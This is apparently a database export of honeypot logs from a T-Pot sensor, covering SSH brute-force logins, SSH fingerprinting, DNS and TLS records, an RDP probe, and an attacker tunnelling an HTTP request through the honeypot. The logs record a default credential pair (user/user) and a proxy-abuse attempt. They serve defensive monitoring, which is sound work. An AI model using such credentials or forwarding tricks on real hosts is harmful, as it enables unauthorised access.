31548	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:46:09.854645+03	2021-09-20 15:00:02.309716+03	{"_id": "0gYHA3wBvYTbRNuEH0Qv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b945ebc9ec5b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:46:09.854645Z", "@timestamp": "2021-09-20T11:46:09.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31556	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:19.378181+03	2021-09-20 15:00:02.320716+03	{"_id": "_gYHA3wBvYTbRNuERET8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35646, "dest_port": 443, "timestamp": "2021-09-20T11:46:19.378181", "@timestamp": "2021-09-20T11:46:19.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31549	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:46:11.117091+03	2021-09-20 15:00:02.310717+03	{"_id": "1gYHA3wBvYTbRNuEIETT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:10.415813+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 417472775870533, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54218, "dest_port": 3389, "timestamp": "2021-09-20T11:46:11.117091Z", "@timestamp": "2021-09-20T11:46:11.117Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31550	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:46:11.918782+03	2021-09-20 15:00:02.312718+03	{"_id": "3gYHA3wBvYTbRNuEJUS3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43548, "dest_port": 22, "timestamp": "2021-09-20T11:46:11.918782", "@timestamp": "2021-09-20T11:46:11.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31551	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:46:19.677988+03	2021-09-20 15:00:02.313716+03	{"_id": "8gYHA3wBvYTbRNuEQkRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:38930 (192.168.176.2:22) [session: 0a8cfc15853f]", "session": "0a8cfc15853f", "@version": "1", "protocol": "ssh", "src_port": 38930, "dest_port": 22, "timestamp": "2021-09-20T11:46:19.677988Z", "@timestamp": "2021-09-20T11:46:19.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31552	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:46:19.678708+03	2021-09-20 15:00:02.315717+03	{"_id": "8wYHA3wBvYTbRNuEQkRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "0a8cfc15853f", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:46:19.678708Z", "@timestamp": "2021-09-20T11:46:19.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31553	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:46:19.735799+03	2021-09-20 15:00:02.316717+03	{"_id": "9AYHA3wBvYTbRNuEQkRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "0a8cfc15853f", "@version": "1", "timestamp": "2021-09-20T11:46:19.735799Z", "@timestamp": "2021-09-20T11:46:19.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31554	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:46:19.320797+03	2021-09-20 15:00:02.317717+03	{"_id": "-QYHA3wBvYTbRNuEQ0T_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33001, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 150435332351261, "@version": "1", "in_iface": "enp5s0", "src_port": 51137, "dest_port": 53, "timestamp": "2021-09-20T11:46:19.320797Z", "@timestamp": "2021-09-20T11:46:19.320Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31557	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:46:19.735447+03	2021-09-20 15:00:02.321717+03	{"_id": "_wYHA3wBvYTbRNuERET8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": null, "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 38930, "dest_port": 22, "timestamp": "2021-09-20T11:46:19.735447", "@timestamp": "2021-09-20T11:46:19.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31558	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:46:19.768287+03	2021-09-20 15:00:02.322717+03	{"_id": "AAYHA3wBvYTbRNuEREX8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35648, "timestamp": "2021-09-20T11:46:19.768287", "@timestamp": "2021-09-20T11:46:19.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31559	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:46:19.92495+03	2021-09-20 15:00:02.324718+03	{"_id": "DAYHA3wBvYTbRNuERkVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "0a8cfc15853f", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:46:19.924950Z", "@timestamp": "2021-09-20T11:46:19.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
31560	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:46:19.674359+03	2021-09-20 15:00:02.325717+03	{"_id": "-AYHA3wBvYTbRNuEQ0T_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56216, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3495, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1363209542648703, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50735, "timestamp": "2021-09-20T11:46:19.674359Z", "@timestamp": "2021-09-20T11:46:19.674Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31561	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:46:19.672639+03	2021-09-20 15:00:02.327715+03	{"_id": "9wYHA3wBvYTbRNuEQ0T_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56216, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1363209542648703, "@version": "1", "in_iface": "enp5s0", "src_port": 50735, "dest_port": 53, "timestamp": "2021-09-20T11:46:19.672639Z", "@timestamp": "2021-09-20T11:46:19.672Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31562	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:19.725549+03	2021-09-20 15:00:02.328715+03	{"_id": "_QYHA3wBvYTbRNuERET7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35648, "dest_port": 443, "timestamp": "2021-09-20T11:46:19.725549", "@timestamp": "2021-09-20T11:46:19.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31563	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:19.679201+03	2021-09-20 15:00:02.329718+03	{"_id": "_AYHA3wBvYTbRNuERET7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38930, "timestamp": "2021-09-20T11:46:19.679201", "@timestamp": "2021-09-20T11:46:19.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31564	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:46:19.98459+03	2021-09-20 15:00:02.330716+03	{"_id": "DQYHA3wBvYTbRNuERkVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "0a8cfc15853f", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:46:19.984590Z", "@timestamp": "2021-09-20T11:46:19.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
31565	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:46:20.051942+03	2021-09-20 15:00:02.332716+03	{"_id": "DgYHA3wBvYTbRNuERkVF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632138379.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632138379.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "0a8cfc15853f", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:46:20.051942Z", "@timestamp": "2021-09-20T11:46:20.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
